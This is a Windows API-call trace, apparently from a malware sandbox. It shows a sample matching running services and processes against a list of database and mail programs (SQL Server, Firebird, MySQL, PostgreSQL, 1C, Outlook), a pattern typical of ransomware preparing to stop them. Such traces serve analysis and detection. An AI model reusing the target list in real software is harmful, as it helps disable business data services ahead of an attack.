	[0037.084] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0037.084] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0037.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0037.084] lstrlenW (lpString="PcaSvc") returned 6
	[0037.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0037.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0037.084] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0037.084] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0037.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0037.084] lstrlenW (lpString="PlugPlay") returned 8
	[0037.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0037.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0037.084] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0037.084] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0037.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0037.085] lstrlenW (lpString="Power") returned 5
	[0037.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0037.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0037.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0037.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0037.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0037.085] lstrlenW (lpString="ProfSvc") returned 7
	[0037.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0037.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0037.085] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0037.085] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0037.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0037.085] lstrlenW (lpString="RpcEptMapper") returned 12
	[0037.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0037.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0037.085] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0037.085] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0037.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0037.085] lstrlenW (lpString="RpcSs") returned 5
	[0037.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0037.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0037.085] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0037.085] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0037.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0037.085] lstrlenW (lpString="SamSs") returned 5
	[0037.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0037.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0037.085] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0037.085] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0037.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0037.085] lstrlenW (lpString="Schedule") returned 8
	[0037.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0037.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0037.086] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0037.086] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0037.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0037.086] lstrlenW (lpString="SENS") returned 4
	[0037.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0037.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0037.086] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0037.086] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0037.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0037.086] lstrlenW (lpString="ShellHWDetection") returned 16
	[0037.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0037.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0037.086] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0037.086] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0037.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0037.086] lstrlenW (lpString="Spooler") returned 7
	[0037.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0037.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0037.086] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0037.086] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0037.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0037.086] lstrlenW (lpString="SysMain") returned 7
	[0037.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0037.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0037.086] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0037.086] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0037.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0037.086] lstrlenW (lpString="Themes") returned 6
	[0037.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0037.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0037.086] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0037.086] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0037.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0037.087] lstrlenW (lpString="TrkWks") returned 6
	[0037.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0037.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0037.087] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0037.087] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0037.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0037.087] lstrlenW (lpString="UxSms") returned 5
	[0037.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0037.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0037.087] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0037.087] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0037.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0037.087] lstrlenW (lpString="WdiServiceHost") returned 14
	[0037.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0037.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0037.087] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0037.087] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0037.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0037.087] lstrlenW (lpString="WdiSystemHost") returned 13
	[0037.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0037.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0037.087] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0037.087] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0037.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0037.087] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0037.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0037.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0037.087] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0037.087] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0037.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0037.088] lstrlenW (lpString="Winmgmt") returned 7
	[0037.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0037.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0037.088] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0037.088] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0037.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0037.088] lstrlenW (lpString="WPDBusEnum") returned 10
	[0037.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0037.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0037.088] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0037.088] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0037.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0037.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e25f8 | out: hHeap=0x4f0000) returned 1
	[0037.088] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168
	[0037.093] Process32FirstW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0037.093] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0037.094] lstrlenW (lpString="System") returned 6
	[0037.094] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0037.094] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0037.094] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0037.094] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0037.094] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0037.094] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0037.094] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0037.094] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0037.095] lstrlenW (lpString="smss.exe") returned 8
	[0037.095] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0037.096] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0037.096] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0037.096] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0037.096] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0037.096] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0037.096] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0037.096] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0037.096] lstrlenW (lpString="csrss.exe") returned 9
	[0037.096] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0037.096] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0037.096] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0037.096] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0037.096] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0037.097] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0037.097] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0037.097] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0037.097] lstrlenW (lpString="wininit.exe") returned 11
	[0037.097] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0037.097] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0037.097] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0037.097] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0037.097] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0037.097] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0037.097] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0037.097] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0037.098] lstrlenW (lpString="csrss.exe") returned 9
	[0037.098] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0037.098] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0037.098] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0037.098] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0037.098] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0037.098] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0037.098] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0037.099] lstrlenW (lpString="winlogon.exe") returned 12
	[0037.099] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0037.100] lstrlenW (lpString="services.exe") returned 12
	[0037.100] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0037.100] lstrlenW (lpString="lsass.exe") returned 9
	[0037.100] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0037.101] lstrlenW (lpString="lsm.exe") returned 7
	[0037.101] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.102] lstrlenW (lpString="svchost.exe") returned 11
	[0037.102] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.103] lstrlenW (lpString="svchost.exe") returned 11
	[0037.103] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.103] lstrlenW (lpString="svchost.exe") returned 11
	[0037.103] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.104] lstrlenW (lpString="svchost.exe") returned 11
	[0037.104] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.105] lstrlenW (lpString="svchost.exe") returned 11
	[0037.105] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0037.105] lstrlenW (lpString="audiodg.exe") returned 11
	[0037.105] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.106] lstrlenW (lpString="svchost.exe") returned 11
	[0037.106] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.107] lstrlenW (lpString="svchost.exe") returned 11
	[0037.107] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0037.107] lstrlenW (lpString="dwm.exe") returned 7
	[0037.107] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0037.108] lstrlenW (lpString="explorer.exe") returned 12
	[0037.108] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0037.109] lstrlenW (lpString="spoolsv.exe") returned 11
	[0037.109] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0037.109] lstrlenW (lpString="taskhost.exe") returned 12
	[0037.109] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.110] lstrlenW (lpString="svchost.exe") returned 11
	[0037.110] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0037.140] lstrlenW (lpString="taskeng.exe") returned 11
	[0037.140] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0037.140] lstrlenW (lpString="taskhost.exe") returned 12
	[0037.140] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0037.141] lstrlenW (lpString="program.exe") returned 11
	[0037.141] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0037.142] lstrlenW (lpString="felt.exe") returned 8
	[0037.142] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0037.142] lstrlenW (lpString="bibliography.exe") returned 16
	[0037.143] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0037.143] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0037.143] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0037.144] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0037.144] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0037.145] lstrlenW (lpString="converter.exe") returned 13
	[0037.145] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0037.145] lstrlenW (lpString="once.exe") returned 8
	[0037.145] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0037.146] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0037.146] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0037.147] lstrlenW (lpString="always.exe") returned 10
	[0037.147] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0037.147] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0037.147] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0037.148] lstrlenW (lpString="donated.exe") returned 11
	[0037.148] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0037.149] lstrlenW (lpString="nowherepike.exe") returned 15
